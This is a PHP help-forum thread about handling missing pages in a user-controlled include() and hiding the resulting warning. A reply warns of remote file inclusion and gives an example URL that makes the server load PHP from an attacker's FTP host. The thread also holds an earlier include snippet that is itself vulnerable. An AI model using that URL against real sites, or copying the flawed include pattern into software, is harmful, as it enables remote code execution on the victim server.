Jump to content

[SOLVED] how to prevent this:


aebstract

Recommended Posts

Warning: Failed opening 'order.php' for inclusion (include_path='.:/php/includes:/usr/share/php') in /home/virtual/site130/fst/var/www/html/2/index.php on line 15

 

 

This is what gets displayed at the top of the page whenever the page doesn't exist (meaning it cannot include the file). How can I have a default page that displays simply saying "Page does not exist" if this comes up?

Link to comment
Share on other sites

Hopefully, you are never trying to include a page that you are not absolutely certain exists in the first place. If you are having to handle an include via logic, it suggests that you may be taking user input to include a page. This really isn't very good practice. At the same time, it's not the best idea to be advertising to your user when something on your script isn't working, either. Since that's just a warning, you could always just turn off notices and warnings (or error reporting entirely) on the production site, and that would save you some trouble.

Link to comment
Share on other sites

To obsidian, the reason why I am wanting to fix this up a little bit (and maybe just redirect them to the home page versus a warning page) is because it is possible that someone just types in to the url. That would force the error and look bad. I'll try out what rajiv said.

Link to comment
Share on other sites

I used something like this in another post

$page = (!is_null($page = 
isset($_GET['page'])?(preg_match("@[^/.\s]@",$_GET['page'])?(file_exists($_GET['page'].'html')?$_GET['page']:null):null):null)
?$page:"home") . ".html";

 

the preg_match just prevents users using . or / in the page reference.

Link to comment
Share on other sites

In case this thread is read after being solved.

 

I am glad that you added validation - file_exists(), because your old code would have allowed someone to execute their unparsed php code on your server through the include() statement (if your server allowed allow_url_fopen(php4) or allow_url_include(php5).)

 

Unfortunately, file_exists() on php5 works for ftp:// addresses, so someone could cause your page to include() raw/unparsed php code from their server by using -

 

yourdomain.com/yourpage.php?page=ftp://theirdomain.com/theirpath/theirpage (without the .php ending, because your code adds it.)

 

I strongly recommend that you create an array of allowed page values and explicitly test $_GET['page'] against that array using the in_array() function.

Link to comment
Share on other sites

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.